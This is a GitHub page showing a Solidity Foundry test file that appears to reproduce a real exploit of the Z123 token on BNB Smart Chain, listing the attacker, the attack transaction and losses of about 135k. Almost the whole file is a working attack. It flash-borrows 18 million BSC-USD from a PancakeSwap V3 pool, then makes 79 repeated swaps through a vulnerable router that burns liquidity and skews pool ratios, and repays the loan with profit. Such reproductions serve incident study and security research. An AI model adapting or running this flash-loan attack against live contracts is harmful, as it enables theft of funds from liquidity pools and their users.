-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
Z123_exp.sol
58 lines (45 loc) · 2.58 KB
/
Z123_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import "forge-std/Test.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : ≈135k
// Attacker : 0x3026C464d3Bd6Ef0CeD0D49e80f171b58176Ce32
// Attack Contract : https://bscscan.com/address/0x61dd07ce0cecf0d7bacf5eb208c57d16bbdee168
// Vulnerable Contract : https://bscscan.com/address/0xb000f121A173D7Dd638bb080fEe669a2F3Af9760
// Attack Tx : https://bscscan.com/tx/0xc0c4e99a76da80a4cf43d3110364840151226c0a197c1728bb60dc3f1b3a6a27
// @Analysis
//
// First, tokens are exchanged from a pool with normal ratios using USD.
// Then, each subsequent swap burns liquidity from the pool, resulting in disproportionate token ratios that can be exploited for arbitrage.
contract Z123_exp is Test {
IERC20 z123_ = IERC20(0xb000f121A173D7Dd638bb080fEe669a2F3Af9760);
IPancakeV3Pool pancakeV3_ = IPancakeV3Pool(0x36696169C63e42cd08ce11f5deeBbCeBae652050);
IERC20 bsc_usd_ = IERC20(0x55d398326f99059fF775485246999027B3197955);
IPancakeRouter router_ = IPancakeRouter(payable(address(0x901c0967DF19fA0Af98Fd958E70F30301d7580dD)));
IPancakeRouter victim_ = IPancakeRouter(payable(address(0x6125c643a2D4A927ACd63C1185c6be902eFd5dC8)));
function setUp() public {
vm.createSelectFork("bsc", 38_077_210);
bsc_usd_.approve(address(router_), type(uint256).max);
z123_.approve(address(router_), type(uint256).max);
bsc_usd_.approve(address(victim_), type(uint256).max);
z123_.approve(address(victim_), type(uint256).max);
}
function testExploit() public {
emit log_named_decimal_uint("befor ack usdc balance = ", bsc_usd_.balanceOf(address(this)), bsc_usd_.decimals());
pancakeV3_.flash(address(this), 18_000_000 ether, 0, "");
emit log_named_decimal_uint("after profit usdc balance = ", bsc_usd_.balanceOf(address(this)), bsc_usd_.decimals());
}
function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) public{
address[] memory path = new address[](2);
path[0] = address(bsc_usd_);
path[1] = address(z123_);
router_.swapExactTokensForTokensSupportingFeeOnTransferTokens(18_000_000 ether, 1, path, address(this), block.timestamp);
console.log("==== start attack====");
path[0] = address(z123_);
path[1] = address(bsc_usd_);
for(int i = 0; i < 79; i++){
victim_.swapExactTokensForTokensSupportingFeeOnTransferTokens(7125 ether, 1, path, address(this), block.timestamp);
}
console.log("==== end attack====");
//repay
bsc_usd_.transfer(address(pancakeV3_), 18_000_000 ether + fee0);
}
}